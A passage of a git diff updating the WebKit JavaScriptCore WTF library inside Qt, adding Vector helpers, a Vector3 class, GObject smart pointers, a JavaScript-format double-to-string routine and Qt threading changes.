+        if (ptr < begin() || ptr >= end()) {
+            if (!tryExpandCapacity(newMinCapacity))
+                return 0;
+            return ptr;
+        }
+        size_t index = ptr - begin();
+        if (!tryExpandCapacity(newMinCapacity))
+            return 0;
+        return begin() + index;
+    }
+
     template<typename T, size_t inlineCapacity> template<typename U>
     inline U* Vector<T, inlineCapacity>::expandCapacity(size_t newMinCapacity, U* ptr)
     {
@@ -794,6 +845,21 @@ namespace WTF {
     }
     
     template<typename T, size_t inlineCapacity>
+    bool Vector<T, inlineCapacity>::tryReserveCapacity(size_t newCapacity)
+    {
+        if (newCapacity <= capacity())
+            return true;
+        T* oldBuffer = begin();
+        T* oldEnd = end();
+        if (!m_buffer.tryAllocateBuffer(newCapacity))
+            return false;
+        ASSERT(begin());
+        TypeOperations::move(oldBuffer, oldEnd, begin());
+        m_buffer.deallocateBuffer(oldBuffer);
+        return true;
+    }
+    
+    template<typename T, size_t inlineCapacity>
     inline void Vector<T, inlineCapacity>::reserveInitialCapacity(size_t initialCapacity)
     {
         ASSERT(!m_size);
@@ -845,6 +911,25 @@ namespace WTF {
     }
 
     template<typename T, size_t inlineCapacity> template<typename U>
+    bool Vector<T, inlineCapacity>::tryAppend(const U* data, size_t dataSize)
+    {
+        size_t newSize = m_size + dataSize;
+        if (newSize > capacity()) {
+            data = tryExpandCapacity(newSize, data);
+            if (!data)
+                return false;
+            ASSERT(begin());
+        }
+        if (newSize < m_size)
+            return false;
+        T* dest = end();
+        for (size_t i = 0; i < dataSize; ++i)
+            new (&dest[i]) T(data[i]);
+        m_size = newSize;
+        return true;
+    }
+
+    template<typename T, size_t inlineCapacity> template<typename U>
     ALWAYS_INLINE void Vector<T, inlineCapacity>::append(const U& val)
     {
         const U* ptr = &val;
@@ -987,6 +1072,15 @@ namespace WTF {
     }
 
     template<typename T, size_t inlineCapacity>
+    inline void Vector<T, inlineCapacity>::checkConsistency()
+    {
+#if !ASSERT_DISABLED
+        for (size_t i = 0; i < size(); ++i)
+            ValueCheck<T>::checkConsistency(at(i));
+#endif
+    }
+
+    template<typename T, size_t inlineCapacity>
     void deleteAllValues(const Vector<T, inlineCapacity>& collection)
     {
         typedef typename Vector<T, inlineCapacity>::const_iterator iterator;
@@ -1016,6 +1110,15 @@ namespace WTF {
         return !(a == b);
     }
 
+#if !ASSERT_DISABLED
+    template<typename T> struct ValueCheck<Vector<T> > {
+        typedef Vector<T> TraitType;
+        static void checkConsistency(const Vector<T>& v)
+        {
+            v.checkConsistency();
+        }
+    };
+#endif
 
 } // namespace WTF
 
diff --git a/src/3rdparty/webkit/JavaScriptCore/wtf/Vector3.h b/src/3rdparty/webkit/JavaScriptCore/wtf/Vector3.h
new file mode 100644
index 0000000..3c40b61
--- /dev/null
+++ b/src/3rdparty/webkit/JavaScriptCore/wtf/Vector3.h
@@ -0,0 +1,138 @@
+/*
+ * Copyright (C) 2010 Google Inc. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ *
+ * 1.  Redistributions of source code must retain the above copyright
+ *     notice, this list of conditions and the following disclaimer.
+ * 2.  Redistributions in binary form must reproduce the above copyright
+ *     notice, this list of conditions and the following disclaimer in the
+ *     documentation and/or other materials provided with the distribution.
+ * 3.  Neither the name of Apple Computer, Inc. ("Apple") nor the names of
+ *     its contributors may be used to endorse or promote products derived
+ *     from this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE AND ITS CONTRIBUTORS "AS IS" AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+ * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL APPLE OR ITS CONTRIBUTORS BE LIABLE FOR ANY
+ * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+ * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
+ * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
+ * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
+ * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#ifndef Vector3_h
+#define Vector3_h
+
+#include <math.h>
+
+namespace WebCore {
+
+class Vector3 {
+public:
+    Vector3()
+        : m_x(0.0)
+        , m_y(0.0)
+        , m_z(0.0)
+    {
+    }
+
+    Vector3(double x, double y, double z)
+        : m_x(x)
+        , m_y(y)
+        , m_z(z)
+    {
+    }
+
+    Vector3(const float p[3])
+        : m_x(p[0])
+        , m_y(p[1])
+        , m_z(p[2])
+    {
+    }
+
+    Vector3(const double p[3])
+        : m_x(p[0])
+        , m_y(p[1])
+        , m_z(p[2])
+    {
+    }
+
+    double abs() const
+    {
+        return sqrt(m_x * m_x + m_y * m_y + m_z * m_z);
+    }
+
+    bool isZero() const
+    {
+        return !m_x && !m_y && !m_z;
+    }
+
+    void normalize()
+    {
+        double absValue = abs();
+        if (!absValue)
+            return;
+
+        double k = 1.0 / absValue;
+        m_x *= k;
+        m_y *= k;
+        m_z *= k;
+    }
+
+    double x() const { return m_x; }
+    double y() const { return m_y; }
+    double z() const { return m_z; }
+
+private:
+    double m_x;
+    double m_y;
+    double m_z;
+};
+
+inline Vector3 operator+(const Vector3& v1, const Vector3& v2)
+{
+    return Vector3(v1.x() + v2.x(), v1.y() + v2.y(), v1.z() + v2.z());
+}
+
+inline Vector3 operator-(const Vector3& v1, const Vector3& v2)
+{
+    return Vector3(v1.x() - v2.x(), v1.y() - v2.y(), v1.z() - v2.z());
+}
+
+inline Vector3 operator*(double k, const Vector3& v)
+{
+    return Vector3(k * v.x(), k * v.y(), k * v.z());
+}
+
+inline Vector3 operator*(const Vector3& v, double k)
+{
+    return Vector3(k * v.x(), k * v.y(), k * v.z());
+}
+
+inline double dot(const Vector3& v1, const Vector3& v2)
+{
+    return v1.x() * v2.x() + v1.y() * v2.y() + v1.z() * v2.z();
+}
+
+inline Vector3 cross(const Vector3& v1, const Vector3& v2)
+{
+    double x3 = v1.y() * v2.z() - v1.z() * v2.y();
+    double y3 = v1.z() * v2.x() - v1.x() * v2.z();
+    double z3 = v1.x() * v2.y() - v1.y() * v2.x();
+    return Vector3(x3, y3, z3);
+}
+
+inline double distance(const Vector3& v1, const Vector3& v2)
+{
+    return (v1 - v2).abs();
+}
+
+} // WebCore
+
+#endif // Vector3_h
diff --git a/src/3rdparty/webkit/JavaScriptCore/wtf/VectorTraits.h b/src/3rdparty/webkit/JavaScriptCore/wtf/VectorTraits.h
index eb4c279..3f33b29 100644
--- a/src/3rdparty/webkit/JavaScriptCore/wtf/VectorTraits.h
+++ b/src/3rdparty/webkit/JavaScriptCore/wtf/VectorTraits.h
@@ -32,7 +32,7 @@ using std::pair;
 namespace WTF {
 
     template<bool isPod, typename T>
-    class VectorTraitsBase;
+    struct VectorTraitsBase;
 
     template<typename T>
     struct VectorTraitsBase<false, T>
@@ -80,9 +80,6 @@ namespace WTF {
     template<typename P>
     struct VectorTraits<OwnPtr<P> > : SimpleClassVectorTraits { };
 
-    template<typename P>
-    struct VectorTraits<std::auto_ptr<P> > : SimpleClassVectorTraits { };
-
     template<typename First, typename Second>
     struct VectorTraits<pair<First, Second> >
     {
diff --git a/src/3rdparty/webkit/JavaScriptCore/wtf/dtoa.cpp b/src/3rdparty/webkit/JavaScriptCore/wtf/dtoa.cpp
index d75c17a..6289d04 100644
--- a/src/3rdparty/webkit/JavaScriptCore/wtf/dtoa.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/wtf/dtoa.cpp
@@ -140,7 +140,6 @@
 #else
 #define NO_ERRNO
 #endif
-#include <float.h>
 #include <math.h>
 #include <stdint.h>
 #include <stdlib.h>
@@ -148,6 +147,7 @@
 #include <wtf/AlwaysInline.h>
 #include <wtf/Assertions.h>
 #include <wtf/FastMalloc.h>
+#include <wtf/MathExtras.h>
 #include <wtf/Vector.h>
 #include <wtf/Threading.h>
 
@@ -159,9 +159,9 @@
 #pragma warning(disable: 4554)
 #endif
 
-#if PLATFORM(BIG_ENDIAN)
+#if CPU(BIG_ENDIAN)
 #define IEEE_MC68k
-#elif PLATFORM(MIDDLE_ENDIAN)
+#elif CPU(MIDDLE_ENDIAN)
 #define IEEE_ARM
 #else
 #define IEEE_8087
@@ -262,7 +262,8 @@ typedef union { double d; uint32_t L[2]; } U;
 #define Pack_32
 #endif
 
-#if PLATFORM(PPC64) || PLATFORM(X86_64)
+#if CPU(PPC64) || CPU(X86_64)
+// FIXME: should we enable this on all 64-bit CPUs?
 // 64-bit emulation provided by the compiler is likely to be slower than dtoa own code on 32-bit hardware.
 #define USE_LONG_LONG
 #endif
@@ -560,7 +561,7 @@ static void mult(BigInt& aRef, const BigInt& bRef)
     aRef = c;
 }
 
-struct P5Node {
+struct P5Node : Noncopyable {
     BigInt val;
     P5Node* next;
 };
@@ -1869,7 +1870,7 @@ static ALWAYS_INLINE int quorem(BigInt& b, BigInt& S)
  *       calculation.
  */
 
-void dtoa(char* result, double dd, int ndigits, int* decpt, int* sign, char** rve)
+void dtoa(DtoaBuffer result, double dd, int ndigits, int* decpt, int* sign, char** rve)
 {
     /*
         Arguments ndigits, decpt, sign are similar to those
@@ -1908,16 +1909,23 @@ void dtoa(char* result, double dd, int ndigits, int* decpt, int* sign, char** rv
     {
         /* Infinity or NaN */
         *decpt = 9999;
-        if (!word1(&u) && !(word0(&u) & 0xfffff))
+        if (!word1(&u) && !(word0(&u) & 0xfffff)) {
             strcpy(result, "Infinity");
-        else 
+            if (rve)
+                *rve = result + 8;
+        } else {
             strcpy(result, "NaN");
+            if (rve)
+                *rve = result + 3;
+        }
         return;
     }
     if (!dval(&u)) {
         *decpt = 1;
         result[0] = '0';
         result[1] = '\0';
+        if (rve)
+            *rve = result + 1;
         return;
     }
 
@@ -2376,4 +2384,83 @@ ret:
         *rve = s;
 }
 
+static ALWAYS_INLINE void append(char*& next, const char* src, unsigned size)
+{
+    for (unsigned i = 0; i < size; ++i)
+        *next++ = *src++;
+}
+
+void doubleToStringInJavaScriptFormat(double d, DtoaBuffer buffer, unsigned* resultLength)
+{
+    ASSERT(buffer);
+
+    // avoid ever printing -NaN, in JS conceptually there is only one NaN value
+    if (isnan(d)) {
+        append(buffer, "NaN", 3);
+        if (resultLength)
+            *resultLength = 3;
+        return;
+    }
+    // -0 -> "0"
+    if (!d) {
+        buffer[0] = '0';
+        if (resultLength)
+            *resultLength = 1;
+        return;
+    }
+
+    int decimalPoint;
+    int sign;
+
+    DtoaBuffer result;
+    char* resultEnd = 0;
+    WTF::dtoa(result, d, 0, &decimalPoint, &sign, &resultEnd);
+    int length = resultEnd - result;
+
+    char* next = buffer;
+    if (sign)
+        *next++ = '-';
+
+    if (decimalPoint <= 0 && decimalPoint > -6) {
+        *next++ = '0';
+        *next++ = '.';
+        for (int j = decimalPoint; j < 0; j++)
+            *next++ = '0';
+        append(next, result, length);
+    } else if (decimalPoint <= 21 && decimalPoint > 0) {
+        if (length <= decimalPoint) {
+            append(next, result, length);
+            for (int j = 0; j < decimalPoint - length; j++)
+                *next++ = '0';
+        } else {
+            append(next, result, decimalPoint);
+            *next++ = '.';
+            append(next, result + decimalPoint, length - decimalPoint);
+        }
+    } else if (result[0] < '0' || result[0] > '9')
+        append(next, result, length);
+    else {
+        *next++ = result[0];
+        if (length > 1) {
+            *next++ = '.';
+            append(next, result + 1, length - 1);
+        }
+
+        *next++ = 'e';
+        *next++ = (decimalPoint >= 0) ? '+' : '-';
+        // decimalPoint can't be more than 3 digits decimal given the
+        // nature of float representation
+        int exponential = decimalPoint - 1;
+        if (exponential < 0)
+            exponential = -exponential;
+        if (exponential >= 100)
+            *next++ = static_cast<char>('0' + exponential / 100);
+        if (exponential >= 10)
+            *next++ = static_cast<char>('0' + (exponential % 100) / 10);
+        *next++ = static_cast<char>('0' + exponential % 10);
+    }
+    if (resultLength)
+        *resultLength = next - buffer;
+}
+
 } // namespace WTF
diff --git a/src/3rdparty/webkit/JavaScriptCore/wtf/dtoa.h b/src/3rdparty/webkit/JavaScriptCore/wtf/dtoa.h
index cbec7c7..6127f53 100644
--- a/src/3rdparty/webkit/JavaScriptCore/wtf/dtoa.h
+++ b/src/3rdparty/webkit/JavaScriptCore/wtf/dtoa.h
@@ -30,8 +30,18 @@ namespace WTF {
     extern WTF::Mutex* s_dtoaP5Mutex;
 
     double strtod(const char* s00, char** se);
-    void dtoa(char* result, double d, int ndigits, int* decpt, int* sign, char** rve);
+
+    typedef char DtoaBuffer[80];
+    void dtoa(DtoaBuffer result, double d, int ndigits, int* decpt, int* sign, char** rve);
+
+    // dtoa() for ECMA-262 'ToString Applied to the Number Type.'
+    // The *resultLength will have the length of the resultant string in bufer.
+    // The resultant string isn't terminated by 0.
+    void doubleToStringInJavaScriptFormat(double, DtoaBuffer, unsigned* resultLength);
 
 } // namespace WTF
 
+using WTF::DtoaBuffer;
+using WTF::doubleToStringInJavaScriptFormat;
+
 #endif // WTF_dtoa_h
diff --git a/src/3rdparty/webkit/JavaScriptCore/wtf/gobject/GOwnPtr.cpp b/src/3rdparty/webkit/JavaScriptCore/wtf/gobject/GOwnPtr.cpp
new file mode 100644
index 0000000..da0d839
--- /dev/null
+++ b/src/3rdparty/webkit/JavaScriptCore/wtf/gobject/GOwnPtr.cpp
@@ -0,0 +1,67 @@
+/*
+ * Copyright (C) 2008 Collabora Ltd.
+ *
+ *  This library is free software; you can redistribute it and/or
+ *  modify it under the terms of the GNU Lesser General Public
+ *  License as published by the Free Software Foundation; either
+ *  version 2 of the License, or (at your option) any later version.
+ *
+ *  This library is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ *  Lesser General Public License for more details.
+ *
+ *  You should have received a copy of the GNU Lesser General Public
+ *  License along with this library; if not, write to the Free Software
+ *  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA
+ */
+
+#include "config.h"
+#include "GOwnPtr.h"
+
+#include <gio/gio.h>
+#include <glib.h>
+
+namespace WTF {
+
+template <> void freeOwnedGPtr<GError>(GError* ptr)
+{
+    if (ptr)
+        g_error_free(ptr);
+}
+
+template <> void freeOwnedGPtr<GList>(GList* ptr)
+{
+    g_list_free(ptr);
+}
+
+template <> void freeOwnedGPtr<GCond>(GCond* ptr)
+{
+    if (ptr)
+        g_cond_free(ptr);
+}
+
+template <> void freeOwnedGPtr<GMutex>(GMutex* ptr)
+{
+    if (ptr)
+        g_mutex_free(ptr);
+}
+
+template <> void freeOwnedGPtr<GPatternSpec>(GPatternSpec* ptr)
+{
+    if (ptr)
+        g_pattern_spec_free(ptr);
+}
+
+template <> void freeOwnedGPtr<GDir>(GDir* ptr)
+{
+    if (ptr)
+        g_dir_close(ptr);
+}
+
+template <> void freeOwnedGPtr<GFile>(GFile* ptr)
+{
+    if (ptr)
+        g_object_unref(ptr);
+}
+} // namespace WTF
diff --git a/src/3rdparty/webkit/JavaScriptCore/wtf/gobject/GOwnPtr.h b/src/3rdparty/webkit/JavaScriptCore/wtf/gobject/GOwnPtr.h
new file mode 100644
index 0000000..1fc594c
--- /dev/null
+++ b/src/3rdparty/webkit/JavaScriptCore/wtf/gobject/GOwnPtr.h
@@ -0,0 +1,148 @@
+/*
+ *  Copyright (C) 2006, 2007 Apple Inc. All rights reserved.
+ *  Copyright (C) 2008 Collabora Ltd.
+ *
+ *  This library is free software; you can redistribute it and/or
+ *  modify it under the terms of the GNU Library General Public
+ *  License as published by the Free Software Foundation; either
+ *  version 2 of the License, or (at your option) any later version.
+ *
+ *  This library is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ *  Library General Public License for more details.
+ *
+ *  You should have received a copy of the GNU Library General Public License
+ *  along with this library; see the file COPYING.LIB.  If not, write to
+ *  the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
+ *  Boston, MA 02110-1301, USA.
+ *
+ */
+
+#ifndef GOwnPtr_h
+#define GOwnPtr_h
+
+#include <algorithm>
+#include <wtf/Assertions.h>
+#include <wtf/Noncopyable.h>
+
+// Forward delcarations at this point avoid the need to include GLib includes
+// in WTF headers.
+typedef struct _GError GError;
+typedef struct _GList GList;
+typedef struct _GCond GCond;
+typedef struct _GMutex GMutex;
+typedef struct _GPatternSpec GPatternSpec;
+typedef struct _GDir GDir;
+typedef struct _GHashTable GHashTable;
+typedef struct _GFile GFile;
+extern "C" void g_free(void*);
+
+namespace WTF {
+
+template <typename T> inline void freeOwnedGPtr(T* ptr);
+template<> void freeOwnedGPtr<GError>(GError*);
+template<> void freeOwnedGPtr<GList>(GList*);
+template<> void freeOwnedGPtr<GCond>(GCond*);
+template<> void freeOwnedGPtr<GMutex>(GMutex*);
+template<> void freeOwnedGPtr<GPatternSpec>(GPatternSpec*);
+template<> void freeOwnedGPtr<GDir>(GDir*);
+template<> void freeOwnedGPtr<GHashTable>(GHashTable*);
+template<> void freeOwnedGPtr<GFile>(GFile*);
+
+template <typename T> class GOwnPtr : public Noncopyable {
+public:
+    explicit GOwnPtr(T* ptr = 0) : m_ptr(ptr) { }
+    ~GOwnPtr() { freeOwnedGPtr(m_ptr); }
+
+    T* get() const { return m_ptr; }
+    T* release()
+    {
+        T* ptr = m_ptr;
+        m_ptr = 0;
+        return ptr;
+    }
+
+    T*& outPtr()
+    {
+        ASSERT(!m_ptr);
+        return m_ptr;
+    }
+
+    void set(T* ptr)
+    {
+        ASSERT(!ptr || m_ptr != ptr);
+        freeOwnedGPtr(m_ptr);
+        m_ptr = ptr;
+    }
+
+    void clear()
+    {
+        freeOwnedGPtr(m_ptr);
+        m_ptr = 0;
+    }
+
+    T& operator*() const
+    {
+        ASSERT(m_ptr);
+        return *m_ptr;
+    }
+
+    T* operator->() const
+    {
+        ASSERT(m_ptr);
+        return m_ptr;
+    }
+
+    bool operator!() const { return !m_ptr; }
+
+    // This conversion operator allows implicit conversion to bool but not to other integer types.
+    typedef T* GOwnPtr::*UnspecifiedBoolType;
+    operator UnspecifiedBoolType() const { return m_ptr ? &GOwnPtr::m_ptr : 0; }
+
+    void swap(GOwnPtr& o) { std::swap(m_ptr, o.m_ptr); }
+
+private:
+    T* m_ptr;
+};
+
+template <typename T> inline void swap(GOwnPtr<T>& a, GOwnPtr<T>& b)
+{
+    a.swap(b);
+}
+
+template <typename T, typename U> inline bool operator==(const GOwnPtr<T>& a, U* b)
+{ 
+    return a.get() == b; 
+}
+
+template <typename T, typename U> inline bool operator==(T* a, const GOwnPtr<U>& b) 
+{
+    return a == b.get(); 
+}
+
+template <typename T, typename U> inline bool operator!=(const GOwnPtr<T>& a, U* b)
+{
+    return a.get() != b; 
+}
+
+template <typename T, typename U> inline bool operator!=(T* a, const GOwnPtr<U>& b)
+{ 
+    return a != b.get(); 
+}
+
+template <typename T> inline typename GOwnPtr<T>::PtrType getPtr(const GOwnPtr<T>& p)
+{
+    return p.get();
+}
+
+template <typename T> inline void freeOwnedGPtr(T* ptr)
+{
+    g_free(ptr);
+}
+
+} // namespace WTF
+
+using WTF::GOwnPtr;
+
+#endif // GOwnPtr_h
diff --git a/src/3rdparty/webkit/JavaScriptCore/wtf/gobject/GRefPtr.cpp b/src/3rdparty/webkit/JavaScriptCore/wtf/gobject/GRefPtr.cpp
new file mode 100644
index 0000000..e7cf34b
--- /dev/null
+++ b/src/3rdparty/webkit/JavaScriptCore/wtf/gobject/GRefPtr.cpp
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2009 Martin Robinson
+ *
+ *  This library is free software; you can redistribute it and/or
+ *  modify it under the terms of the GNU Lesser General Public
+ *  License as published by the Free Software Foundation; either
+ *  version 2 of the License, or (at your option) any later version.
+ *
+ *  This library is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ *  Lesser General Public License for more details.
+ *
+ *  You should have received a copy of the GNU Lesser General Public
+ *  License along with this library; if not, write to the Free Software
+ *  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA
+ */
+
+#include "config.h"
+#include "GRefPtr.h"
+
+#include <glib.h>
+
+namespace WTF {
+
+template <> GHashTable* refGPtr(GHashTable* ptr)
+{
+    if (ptr)
+        g_hash_table_ref(ptr);
+    return ptr;
+}
+
+template <> void derefGPtr(GHashTable* ptr)
+{
+    g_hash_table_unref(ptr);
+}
+
+} // namespace WTF
diff --git a/src/3rdparty/webkit/JavaScriptCore/wtf/gobject/GRefPtr.h b/src/3rdparty/webkit/JavaScriptCore/wtf/gobject/GRefPtr.h
new file mode 100644
index 0000000..66739ef
--- /dev/null
+++ b/src/3rdparty/webkit/JavaScriptCore/wtf/gobject/GRefPtr.h
@@ -0,0 +1,187 @@
+/*
+ *  Copyright (C) 2005, 2006, 2007, 2008 Apple Inc. All rights reserved.
+ *  Copyright (C) 2008 Collabora Ltd.
+ *  Copyright (C) 2009 Martin Robinson
+ *
+ *  This library is free software; you can redistribute it and/or
+ *  modify it under the terms of the GNU Library General Public
+ *  License as published by the Free Software Foundation; either
+ *  version 2 of the License, or (at your option) any later version.
+ *
+ *  This library is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ *  Library General Public License for more details.
+ *
+ *  You should have received a copy of the GNU Library General Public License
+ *  along with this library; see the file COPYING.LIB.  If not, write to
+ *  the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
+ *  Boston, MA 02110-1301, USA.
+ *
+ */
+
+#ifndef WTF_GRefPtr_h
+#define WTF_GRefPtr_h
+
+#include "AlwaysInline.h"
+#include <algorithm>
+
+typedef struct _GHashTable GHashTable;
+
+namespace WTF {
+
+enum GRefPtrAdoptType { GRefPtrAdopt };
+template <typename T> inline T* refGPtr(T*);
+template <typename T> inline void derefGPtr(T*);
+template <typename T> class GRefPtr;
+template <typename T> GRefPtr<T> adoptGRef(T*);
+template <> GHashTable* refGPtr(GHashTable* ptr);
+template <> void derefGPtr(GHashTable* ptr);
+
+template <typename T> class GRefPtr {
+public:
+    GRefPtr() : m_ptr(0) { }
+    GRefPtr(T* ptr) : m_ptr(ptr) { if (ptr) refGPtr(ptr); }
+    GRefPtr(const GRefPtr& o) : m_ptr(o.m_ptr) { if (T* ptr = m_ptr) refGPtr(ptr); }
+    template <typename U> GRefPtr(const GRefPtr<U>& o) : m_ptr(o.get()) { if (T* ptr = m_ptr) refGPtr(ptr); }
+
+    ~GRefPtr() { if (T* ptr = m_ptr) derefGPtr(ptr); }
+
+    void clear()
+    {
+        if (T* ptr = m_ptr)
+            derefGPtr(ptr);
+        m_ptr = 0;
+    }
+
+    T* get() const { return m_ptr; }
+    T& operator*() const { return *m_ptr; }
+    ALWAYS_INLINE T* operator->() const { return m_ptr; }
+
+    bool operator!() const { return !m_ptr; }
+
+    // This conversion operator allows implicit conversion to bool but not to other integer types.
+    typedef T* GRefPtr::*UnspecifiedBoolType;
+    operator UnspecifiedBoolType() const { return m_ptr ? &GRefPtr::m_ptr : 0; }
+
+    GRefPtr& operator=(const GRefPtr&);
+    GRefPtr& operator=(T*);
+    template <typename U> GRefPtr& operator=(const GRefPtr<U>&);
+
+    void swap(GRefPtr&);
+    friend GRefPtr adoptGRef<T>(T*);
+
+private:
+    static T* hashTableDeletedValue() { return reinterpret_cast<T*>(-1); }
+    // Adopting constructor.
+    GRefPtr(T* ptr, GRefPtrAdoptType) : m_ptr(ptr) {}
+
+    T* m_ptr;
+};
+
+template <typename T> inline GRefPtr<T>& GRefPtr<T>::operator=(const GRefPtr<T>& o)
+{
+    T* optr = o.get();
+    if (optr)
+        refGPtr(optr);
+    T* ptr = m_ptr;
+    m_ptr = optr;
+    if (ptr)
+        derefGPtr(ptr);
+    return *this;
+}
+
+template <typename T> inline GRefPtr<T>& GRefPtr<T>::operator=(T* optr)
+{
+    T* ptr = m_ptr;
+    if (optr)
+        refGPtr(optr);
+    m_ptr = optr;
+    if (ptr)
+        derefGPtr(ptr);
+    return *this;
+}
+
+template <class T> inline void GRefPtr<T>::swap(GRefPtr<T>& o)
+{
+    std::swap(m_ptr, o.m_ptr);
+}
+
+template <class T> inline void swap(GRefPtr<T>& a, GRefPtr<T>& b)
+{
+    a.swap(b);
+}
+
+template <typename T, typename U> inline bool operator==(const GRefPtr<T>& a, const GRefPtr<U>& b)
+{
+    return a.get() == b.get();
+}
+
+template <typename T, typename U> inline bool operator==(const GRefPtr<T>& a, U* b)
+{
+    return a.get() == b;
+}
+
+template <typename T, typename U> inline bool operator==(T* a, const GRefPtr<U>& b)
+{
+    return a == b.get();
+}
+
+template <typename T, typename U> inline bool operator!=(const GRefPtr<T>& a, const GRefPtr<U>& b)
+{
+    return a.get() != b.get();
+}
+
+template <typename T, typename U> inline bool operator!=(const GRefPtr<T>& a, U* b)
+{
+    return a.get() != b;
+}
+
+template <typename T, typename U> inline bool operator!=(T* a, const GRefPtr<U>& b)
+{
+    return a != b.get();
+}
+
+template <typename T, typename U> inline GRefPtr<T> static_pointer_cast(const GRefPtr<U>& p)
+{
+    return GRefPtr<T>(static_cast<T*>(p.get()));
+}
+
+template <typename T, typename U> inline GRefPtr<T> const_pointer_cast(const GRefPtr<U>& p)
+{
+    return GRefPtr<T>(const_cast<T*>(p.get()));
+}
+
+template <typename T> inline T* getPtr(const GRefPtr<T>& p)
+{
+    return p.get();
+}
+
+template <typename T> GRefPtr<T> adoptGRef(T* p)
+{
+    return GRefPtr<T>(p, GRefPtrAdopt);
+}
+
+template <typename T> inline T* refGPtr(T* ptr)
+{
+    if (ptr)
+        g_object_ref_sink(ptr);
+    return ptr;
+}
+
+template <typename T> inline void derefGPtr(T* ptr)
+{
+    if (ptr)
+        g_object_unref(ptr);
+}
+
+} // namespace WTF
+
+using WTF::GRefPtr;
+using WTF::refGPtr;
+using WTF::derefGPtr;
+using WTF::adoptGRef;
+using WTF::static_pointer_cast;
+using WTF::const_pointer_cast;
+
+#endif // WTF_GRefPtr_h
diff --git a/src/3rdparty/webkit/JavaScriptCore/wtf/qt/ThreadingQt.cpp b/src/3rdparty/webkit/JavaScriptCore/wtf/qt/ThreadingQt.cpp
index 1fdd2bb..dc04a68 100644
--- a/src/3rdparty/webkit/JavaScriptCore/wtf/qt/ThreadingQt.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/wtf/qt/ThreadingQt.cpp
@@ -29,6 +29,8 @@
 #include "config.h"
 #include "Threading.h"
 
+#if !ENABLE(SINGLE_THREADED)
+
 #include "CurrentTime.h"
 #include "HashMap.h"
 #include "MainThread.h"
@@ -64,6 +66,21 @@ void ThreadPrivate::run()
     m_returnValue = m_entryPoint(m_data);
 }
 
+class ThreadMonitor : public QObject {
+    Q_OBJECT
+public:
+    static ThreadMonitor * instance()
+    {
+        static ThreadMonitor *instance = new ThreadMonitor();
+        return instance;
+    }
+
+public Q_SLOTS:
+    void threadFinished()
+    {
+        sender()->deleteLater();
+    }
+};
 
 static Mutex* atomicallyInitializedStaticMutex;
 
@@ -155,6 +172,9 @@ ThreadIdentifier createThreadInternal(ThreadFunction entryPoint, void* data, con
         LOG_ERROR("Failed to create thread at entry point %p with data %p", entryPoint, data);
         return 0;
     }
+
+    QObject::connect(thread, SIGNAL(finished()), ThreadMonitor::instance(), SLOT(threadFinished()));
+
     thread->start();
 
     QThread* threadRef = static_cast<QThread*>(thread);
@@ -162,7 +182,7 @@ ThreadIdentifier createThreadInternal(ThreadFunction entryPoint, void* data, con
     return establishIdentifierForThread(threadRef);
 }
 
-void setThreadNameInternal(const char*)
+void initializeCurrentThreadInternal(const char*)
 {
 }
 
@@ -181,8 +201,10 @@ int waitForThreadCompletion(ThreadIdentifier threadID, void** result)
     return !res;
 }
 
-void detachThread(ThreadIdentifier)
+void detachThread(ThreadIdentifier threadID)
 {
+    ASSERT(threadID);
+    clearThreadForIdentifier(threadID);
 }
 
 ThreadIdentifier currentThread()
@@ -267,3 +289,7 @@ void ThreadCondition::broadcast()
 }
 
 } // namespace WebCore
+
+#include "ThreadingQt.moc"
+
+#endif
diff --git a/src/3rdparty/webkit/JavaScriptCore/wtf/symbian/BlockAllocatorSymbian.cpp b/src/3rdparty/webkit/JavaScriptCore/wtf/symbian/BlockAllocatorSymbian.cpp
new file mode 100644
index 0000000..6a28e9e
--- /dev/null
+++ b/src/3rdparty/webkit/JavaScriptCore/wtf/symbian/BlockAllocatorSymbian.cpp
@@ -0,0 +1,132 @@
+/*
+ * Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies)
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ *
+ * 1.  Redistributions of source code must retain the above copyright
+ *     notice, this list of conditions and the following disclaimer. 
+ * 2.  Redistributions in binary form must reproduce the above copyright
+ *     notice, this list of conditions and the following disclaimer in the
+ *     documentation and/or other materials provided with the distribution. 
+ * 3.  Neither the name of Apple Computer, Inc. ("Apple") nor the names of
+ *     its contributors may be used to endorse or promote products derived
